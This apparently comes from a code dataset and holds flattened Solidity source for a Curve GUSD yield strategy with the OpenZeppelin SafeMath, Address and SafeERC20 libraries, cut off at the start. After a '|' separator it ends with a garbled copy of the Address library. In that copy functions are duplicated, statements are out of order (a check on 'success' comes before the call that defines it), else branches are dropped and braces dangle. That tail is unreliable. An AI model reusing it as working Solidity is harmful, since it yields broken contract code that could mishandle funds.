* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint a, uint b) internal pure returns (uint) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint a,
uint b,
string memory errorMessage
) internal pure returns (uint) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint a,
uint b,
string memory errorMessage
) internal pure returns (uint) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint a,
uint b,
string memory errorMessage
) internal pure returns (uint) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint value
) internal {
uint newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint value
) internal {
uint newAllowance =
token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata =
address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
// File: contracts/protocol/IStrategy.sol
/*
version 1.2.0
Changes
Changes listed here do not affect interaction with other contracts (Vault and Controller)
- removed function assets(address _token) external view returns (bool);
- remove function deposit(uint), declared in IStrategyERC20
- add function setSlippage(uint _slippage);
- add function setDelta(uint _delta);
*/
interface IStrategy {
function admin() external view returns (address);
function controller() external view returns (address);
function vault() external view returns (address);
/*
@notice Returns address of underlying asset (ETH or ERC20)
@dev Must return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE for ETH strategy
*/
function underlying() external view returns (address);
/*
@notice Returns total amount of underlying transferred from vault
*/
function totalDebt() external view returns (uint);
function performanceFee() external view returns (uint);
function slippage() external view returns (uint);
/*
@notice Multiplier used to check total underlying <= total debt * delta / DELTA_MIN
*/
function delta() external view returns (uint);
/*
@dev Flag to force exit in case normal exit fails
*/
function forceExit() external view returns (bool);
function setAdmin(address _admin) external;
function setController(address _controller) external;
function setPerformanceFee(uint _fee) external;
function setSlippage(uint _slippage) external;
function setDelta(uint _delta) external;
function setForceExit(bool _forceExit) external;
/*
@notice Returns amount of underlying asset locked in this contract
@dev Output may vary depending on price of liquidity provider token
where the underlying asset is invested
*/
function totalAssets() external view returns (uint);
/*
@notice Withdraw `_amount` underlying asset
@param amount Amount of underlying asset to withdraw
*/
function withdraw(uint _amount) external;
/*
@notice Withdraw all underlying asset from strategy
*/
function withdrawAll() external;
/*
@notice Sell any staking rewards for underlying and then deposit undelying
*/
function harvest() external;
/*
@notice Increase total debt if profit > 0 and total assets <= max,
otherwise transfers profit to vault.
@dev Guard against manipulation of external price feed by checking that
total assets is below factor of total debt
*/
function skim() external;
/*
@notice Exit from strategy
@dev Must transfer all underlying tokens back to vault
*/
function exit() external;
/*
@notice Transfer token accidentally sent here to admin
@param _token Address of token to transfer
@dev _token must not be equal to underlying token
*/
function sweep(address _token) external;
}
// File: contracts/protocol/IStrategyERC20.sol
interface IStrategyERC20 is IStrategy {
/*
@notice Deposit `amount` underlying ERC20 token
@param amount Amount of underlying ERC20 token to deposit
*/
function deposit(uint _amount) external;
}
// File: contracts/protocol/IController.sol
interface IController {
function ADMIN_ROLE() external view returns (bytes32);
function HARVESTER_ROLE() external view returns (bytes32);
function admin() external view returns (address);
function treasury() external view returns (address);
function setAdmin(address _admin) external;
function setTreasury(address _treasury) external;
function grantRole(bytes32 _role, address _addr) external;
function revokeRole(bytes32 _role, address _addr) external;
/*
@notice Set strategy for vault
@param _vault Address of vault
@param _strategy Address of strategy
@param _min Minimum undelying token current strategy must return. Prevents slippage
*/
function setStrategy(
address _vault,
address _strategy,
uint _min
) external;
// calls to strategy
/*
@notice Invest token in vault into strategy
@param _vault Address of vault
*/
function invest(address _vault) external;
function harvest(address _strategy) external;
function skim(address _strategy) external;
/*
@notice Withdraw from strategy to vault
@param _strategy Address of strategy
@param _amount Amount of underlying token to withdraw
@param _min Minimum amount of underlying token to withdraw
*/
function withdraw(
address _strategy,
uint _amount,
uint _min
) external;
/*
@notice Withdraw all from strategy to vault
@param _strategy Address of strategy
@param _min Minimum amount of underlying token to withdraw
*/
function withdrawAll(address _strategy, uint _min) external;
/*
@notice Exit from strategy
@param _strategy Address of strategy
@param _min Minimum amount of underlying token to withdraw
*/
function exit(address _strategy, uint _min) external;
}
// File: contracts/StrategyERC20.sol
/*
version 1.2.0
Changes from StrategyBase
- performance fee capped at 20%
- add slippage gaurd
- update skim(), increments total debt withoud withdrawing if total assets
is near total debt
- sweep - delete mapping "assets" and use require to explicitly check protected tokens
- add immutable to vault
- add immutable to underlying
- add force exit
*/
// used inside harvest
abstract contract StrategyERC20 is IStrategyERC20 {
using SafeERC20 for IERC20;
using SafeMath for uint;
address public override admin;
address public override controller;
address public immutable override vault;
address public immutable override underlying;
// total amount of underlying transferred from vault
uint public override totalDebt;
// performance fee sent to treasury when harvest() generates profit
uint public override performanceFee = 500;
uint private constant PERFORMANCE_FEE_CAP = 2000; // upper limit to performance fee
uint internal constant PERFORMANCE_FEE_MAX = 10000;
// prevent slippage from deposit / withdraw
uint public override slippage = 100;
uint internal constant SLIPPAGE_MAX = 10000;
/*
Multiplier used to check totalAssets() is <= total debt * delta / DELTA_MIN
*/
uint public override delta = 10050;
uint private constant DELTA_MIN = 10000;
// Force exit, in case normal exit fails
bool public override forceExit;
constructor(
address _controller,
address _vault,
address _underlying
) public {
require(_controller != address(0), "controller = zero address");
require(_vault != address(0), "vault = zero address");
require(_underlying != address(0), "underlying = zero address");
admin = msg.sender;
controller = _controller;
vault = _vault;
underlying = _underlying;
}
modifier onlyAdmin() {
require(msg.sender == admin, "!admin");
_;
}
modifier onlyAuthorized() {
require(
msg.sender == admin || msg.sender == controller || msg.sender == vault,
"!authorized"
);
_;
}
function setAdmin(address _admin) external override onlyAdmin {
require(_admin != address(0), "admin = zero address");
admin = _admin;
}
function setController(address _controller) external override onlyAdmin {
require(_controller != address(0), "controller = zero address");
controller = _controller;
}
function setPerformanceFee(uint _fee) external override onlyAdmin {
require(_fee <= PERFORMANCE_FEE_CAP, "performance fee > cap");
performanceFee = _fee;
}
function setSlippage(uint _slippage) external override onlyAdmin {
require(_slippage <= SLIPPAGE_MAX, "slippage > max");
slippage = _slippage;
}
function setDelta(uint _delta) external override onlyAdmin {
require(_delta >= DELTA_MIN, "delta < min");
delta = _delta;
}
function setForceExit(bool _forceExit) external override onlyAdmin {
forceExit = _forceExit;
}
function _increaseDebt(uint _underlyingAmount) private {
uint balBefore = IERC20(underlying).balanceOf(address(this));
IERC20(underlying).safeTransferFrom(vault, address(this), _underlyingAmount);
uint balAfter = IERC20(underlying).balanceOf(address(this));
totalDebt = totalDebt.add(balAfter.sub(balBefore));
}
function _decreaseDebt(uint _underlyingAmount) private {
uint balBefore = IERC20(underlying).balanceOf(address(this));
IERC20(underlying).safeTransfer(vault, _underlyingAmount);
uint balAfter = IERC20(underlying).balanceOf(address(this));
uint diff = balBefore.sub(balAfter);
if (diff >= totalDebt) {
totalDebt = 0;
} else {
totalDebt -= diff;
}
}
function _totalAssets() internal view virtual returns (uint);
/*
@notice Returns amount of underlying tokens locked in this contract
*/
function totalAssets() external view override returns (uint) {
return _totalAssets();
}
function _deposit() internal virtual;
/*
@notice Deposit underlying token into this strategy
@param _underlyingAmount Amount of underlying token to deposit
*/
function deposit(uint _underlyingAmount) external override onlyAuthorized {
require(_underlyingAmount > 0, "deposit = 0");
_increaseDebt(_underlyingAmount);
_deposit();
}
/*
@notice Returns total shares owned by this contract for depositing underlying
into external Defi
*/
function _getTotalShares() internal view virtual returns (uint);
function _getShares(uint _underlyingAmount, uint _totalUnderlying)
internal
view
returns (uint)
{
/*
calculate shares to withdraw
w = amount of underlying to withdraw
U = total redeemable underlying
s = shares to withdraw
P = total shares deposited into external liquidity pool
w / U = s / P
s = w / U * P
*/
if (_totalUnderlying > 0) {
uint totalShares = _getTotalShares();
return _underlyingAmount.mul(totalShares) / _totalUnderlying;
}
return 0;
}
function _withdraw(uint _shares) internal virtual;
/*
@notice Withdraw undelying token to vault
@param _underlyingAmount Amount of underlying token to withdraw
@dev Caller should implement guard against slippage
*/
function withdraw(uint _underlyingAmount) external override onlyAuthorized {
require(_underlyingAmount > 0, "withdraw = 0");
uint totalUnderlying = _totalAssets();
require(_underlyingAmount <= totalUnderlying, "withdraw > total");
uint shares = _getShares(_underlyingAmount, totalUnderlying);
if (shares > 0) {
_withdraw(shares);
}
// transfer underlying token to vault
/*
WARNING: Here we are transferring all funds in this contract.
This operation is safe under 2 conditions:
1. This contract does not hold any funds at rest.
2. Vault does not allow user to withdraw excess > _underlyingAmount
*/
uint underlyingBal = IERC20(underlying).balanceOf(address(this));
if (underlyingBal > 0) {
_decreaseDebt(underlyingBal);
}
}
function _withdrawAll() internal {
uint totalShares = _getTotalShares();
if (totalShares > 0) {
_withdraw(totalShares);
}
uint underlyingBal = IERC20(underlying).balanceOf(address(this));
if (underlyingBal > 0) {
IERC20(underlying).safeTransfer(vault, underlyingBal);
totalDebt = 0;
}
}
/*
@notice Withdraw all underlying to vault
@dev Caller should implement guard agains slippage
*/
function withdrawAll() external override onlyAuthorized {
_withdrawAll();
}
/*
@notice Sell any staking rewards for underlying and then deposit undelying
*/
function harvest() external virtual override;
/*
@notice Increase total debt if profit > 0 and total assets <= max,
otherwise transfers profit to vault.
@dev Guard against manipulation of external price feed by checking that
total assets is below factor of total debt
*/
function skim() external override onlyAuthorized {
uint totalUnderlying = _totalAssets();
require(totalUnderlying > totalDebt, "total underlying < debt");
uint profit = totalUnderlying - totalDebt;
// protect against price manipulation
uint max = totalDebt.mul(delta) / DELTA_MIN;
if (totalUnderlying <= max) {
/*
total underlying is within reasonable bounds, probaly no price
manipulation occured.
*/
/*
If we were to withdraw profit followed by deposit, this would
increase the total debt roughly by the profit.
Withdrawing consumes high gas, so here we omit it and
directly increase debt, as if withdraw and deposit were called.
*/
totalDebt = totalDebt.add(profit);
} else {
/*
Possible reasons for total underlying > max
1. total debt = 0
2. total underlying really did increase over max
3. price was manipulated
*/
uint shares = _getShares(profit, totalUnderlying);
if (shares > 0) {
uint balBefore = IERC20(underlying).balanceOf(address(this));
_withdraw(shares);
uint balAfter = IERC20(underlying).balanceOf(address(this));
uint diff = balAfter.sub(balBefore);
if (diff > 0) {
IERC20(underlying).safeTransfer(vault, diff);
}
}
}
}
function exit() external virtual override;
function sweep(address) external virtual override;
}
// File: contracts/interfaces/uniswap/Uniswap.sol
interface Uniswap {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
// File: contracts/interfaces/curve/LiquidityGauge.sol
// https://github.com/curvefi/curve-contract/blob/master/contracts/gauges/LiquidityGauge.vy
interface LiquidityGauge {
function deposit(uint) external;
function balanceOf(address) external view returns (uint);
function withdraw(uint) external;
}
// File: contracts/interfaces/curve/Minter.sol
// https://github.com/curvefi/curve-dao-contracts/blob/master/contracts/Minter.vy
interface Minter {
function mint(address) external;
}
// File: contracts/interfaces/curve/StableSwapGusd.sol
interface StableSwapGusd {
function get_virtual_price() external view returns (uint);
/*
0 GUSD
1 3CRV
*/
function balances(uint index) external view returns (uint);
}
// File: contracts/interfaces/curve/StableSwap3Pool.sol
interface StableSwap3Pool {
function get_virtual_price() external view returns (uint);
function add_liquidity(uint[3] calldata amounts, uint min_mint_amount) external;
function remove_liquidity_one_coin(
uint token_amount,
int128 i,
uint min_uamount
) external;
function balances(uint index) external view returns (uint);
}
// File: contracts/interfaces/curve/DepositGusd.sol
interface DepositGusd {
/*
0 GUSD
1 DAI
2 USDC
3 USDT
*/
function add_liquidity(uint[4] memory amounts, uint min) external returns (uint);
function remove_liquidity_one_coin(
uint amount,
int128 index,
uint min
) external returns (uint);
}
// File: contracts/strategies/StrategyGusdV2.sol
contract StrategyGusdV2 is StrategyERC20 {
// Uniswap //
address private constant UNISWAP = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address internal constant GUSD = 0x056Fd409E1d7A124BD7017459dFEa2F387b6d5Cd;
address internal constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address internal constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address internal constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
// GUSD = 0 | DAI = 1 | USDC = 2 | USDT = 3
uint private immutable UNDERLYING_INDEX;
// precision to convert 10 ** 18 to underlying decimals
uint[4] private PRECISION_DIV = [1e16, 1, 1e12, 1e12];
// precision div of underlying token (used to save gas)
uint private immutable PRECISION_DIV_UNDERLYING;
// Curve //
// StableSwap3Pool
address private constant BASE_POOL = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7;
// StableSwapGusd
address private constant SWAP = 0x4f062658EaAF2C1ccf8C8e36D6824CDf41167956;
// liquidity provider token (GUSD / 3CRV)
address private constant LP = 0xD2967f45c4f384DEEa880F807Be904762a3DeA07;
// DepositGusd
address private constant DEPOSIT = 0x64448B78561690B70E17CBE8029a3e5c1bB7136e;
// LiquidityGauge
address private constant GAUGE = 0xC5cfaDA84E902aD92DD40194f0883ad49639b023;
// Minter
address private constant MINTER = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0;
// CRV
address private constant CRV = 0xD533a949740bb3306d119CC777fa900bA034cd52;
constructor(
address _controller,
address _vault,
address _underlying,
uint _underlyingIndex
) public StrategyERC20(_controller, _vault, _underlying) {
UNDERLYING_INDEX = _underlyingIndex;
PRECISION_DIV_UNDERLYING = PRECISION_DIV[_underlyingIndex];
// These tokens are never held by this contract
// so the risk of them getting stolen is minimal
IERC20(CRV).safeApprove(UNISWAP, uint(-1));
}
function _totalAssets() internal view override returns (uint) {
uint lpBal = LiquidityGauge(GAUGE).balanceOf(address(this));
uint pricePerShare = StableSwapGusd(SWAP).get_virtual_price();
return lpBal.mul(pricePerShare) / (PRECISION_DIV_UNDERLYING * 1e18);
}
/*
@notice deposit token into curve
*/
function _depositIntoCurve(address _token, uint _index) private {
// token to LP
uint bal = IERC20(_token).balanceOf(address(this));
if (bal > 0) {
IERC20(_token).safeApprove(DEPOSIT, 0);
IERC20(_token).safeApprove(DEPOSIT, bal);
// mint LP
uint[4] memory amounts;
amounts[_index] = bal;
/*
shares = underlying amount * precision div * 1e18 / price per share
*/
uint pricePerShare = StableSwapGusd(SWAP).get_virtual_price();
uint shares = bal.mul(PRECISION_DIV[_index]).mul(1e18).div(pricePerShare);
uint min = shares.mul(SLIPPAGE_MAX - slippage) / SLIPPAGE_MAX;
DepositGusd(DEPOSIT).add_liquidity(amounts, min);
}
// stake into LiquidityGauge
uint lpBal = IERC20(LP).balanceOf(address(this));
if (lpBal > 0) {
IERC20(LP).safeApprove(GAUGE, 0);
IERC20(LP).safeApprove(GAUGE, lpBal);
LiquidityGauge(GAUGE).deposit(lpBal);
}
}
/*
@notice Deposits underlying to LiquidityGauge
*/
function _deposit() internal override {
_depositIntoCurve(underlying, UNDERLYING_INDEX);
}
function _getTotalShares() internal view override returns (uint) {
return LiquidityGauge(GAUGE).balanceOf(address(this));
}
function _withdraw(uint _lpAmount) internal override {
// withdraw LP from LiquidityGauge
LiquidityGauge(GAUGE).withdraw(_lpAmount);
// withdraw underlying //
uint lpBal = IERC20(LP).balanceOf(address(this));
// remove liquidity
IERC20(LP).safeApprove(DEPOSIT, 0);
IERC20(LP).safeApprove(DEPOSIT, lpBal);
/*
underlying amount = (shares * price per shares) / (1e18 * precision div)
*/
uint pricePerShare = StableSwapGusd(SWAP).get_virtual_price();
uint underlyingAmount =
lpBal.mul(pricePerShare) / (PRECISION_DIV_UNDERLYING * 1e18);
uint min = underlyingAmount.mul(SLIPPAGE_MAX - slippage) / SLIPPAGE_MAX;
// withdraw creates LP dust
DepositGusd(DEPOSIT).remove_liquidity_one_coin(
lpBal,
int128(UNDERLYING_INDEX),
min
);
// Now we have underlying
}
/*
@notice Returns address and index of token with lowest balance in Curve StableSwap
*/
function _getMostPremiumToken() internal view returns (address, uint) {
// meta pool balances
uint[2] memory balances;
balances[0] = StableSwapGusd(SWAP).balances(0).mul(1e16); // GUSD
balances[1] = StableSwapGusd(SWAP).balances(1); // 3CRV
if (balances[0] <= balances[1]) {
return (GUSD, 0);
} else {
// base pool balances
uint[3] memory baseBalances;
baseBalances[0] = StableSwap3Pool(BASE_POOL).balances(0); // DAI
baseBalances[1] = StableSwap3Pool(BASE_POOL).balances(1).mul(1e12); // USDC
baseBalances[2] = StableSwap3Pool(BASE_POOL).balances(2).mul(1e12); // USDT
/*
DAI 1
USDC 2
USDT 3
*/
// DAI
if (
baseBalances[0] <= baseBalances[1] && baseBalances[0] <= baseBalances[2]
) {
return (DAI, 1);
}
// USDC
if (
baseBalances[1] <= baseBalances[0] && baseBalances[1] <= baseBalances[2]
) {
return (USDC, 2);
}
return (USDT, 3);
}
}
/*
@dev Uniswap fails with zero address so no check is necessary here
*/
function _swap(
address _from,
address _to,
uint _amount
) private {
// create dynamic array with 3 elements
address[] memory path = new address[](3);
path[0] = _from;
path[1] = WETH;
path[2] = _to;
Uniswap(UNISWAP).swapExactTokensForTokens(
_amount,
1,
path,
address(this),
block.timestamp
);
}
function _claimRewards(address _token) private {
// claim CRV
Minter(MINTER).mint(GAUGE);
uint crvBal = IERC20(CRV).balanceOf(address(this));
// Swap only if CRV >= 1, otherwise swap may fail for small amount of GUSD
if (crvBal >= 1e18) {
_swap(CRV, _token, crvBal);
// Now this contract has token
}
}
/*
@notice Claim CRV and deposit most premium token into Curve
*/
function harvest() external override onlyAuthorized {
(address token, uint index) = _getMostPremiumToken();
_claimRewards(token);
uint bal = IERC20(token).balanceOf(address(this));
if (bal > 0) {
// transfer fee to treasury
uint fee = bal.mul(performanceFee) / PERFORMANCE_FEE_MAX;
if (fee > 0) {
address treasury = IController(controller).treasury();
require(treasury != address(0), "treasury = zero address");
IERC20(token).safeTransfer(treasury, fee);
}
_depositIntoCurve(token, index);
}
}
/*
@notice Exit strategy by harvesting CRV to underlying token and then
withdrawing all underlying to vault
@dev Must return all underlying token to vault
@dev Caller should implement guard agains slippage
*/
function exit() external override onlyAuthorized {
if (forceExit) {
return;
}
_claimRewards(underlying);
_withdrawAll();
}
function sweep(address _token) external override onlyAdmin {
require(_token != underlying, "protected token");
IERC20(_token).safeTransfer(admin, IERC20(_token).balanceOf(address(this)));
}
}
// File: contracts/strategies/StrategyGusdDaiV2.sol
contract StrategyGusdDaiV2 is StrategyGusdV2 {
constructor(address _controller, address _vault)
public
StrategyGusdV2(_controller, _vault, DAI, 1)
{}
} | * @dev Collection of functions related to the address type/ | library Address {
function isContract(address account) internal view returns (bool) {
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function isContract(address account) internal view returns (bool) {
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
require(success, "Address: unable to send value, recipient may have reverted");
}
(bool success, ) = recipient.call{value: amount}("");
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
return _verifyCallResult(success, returndata, errorMessage);
}
(bool success, bytes memory returndata) = target.call{value: value}(data);
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
revert(errorMessage);
}
}
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
revert(errorMessage);
}
}
}
} else {
function _verifyCallResult(
bool success,
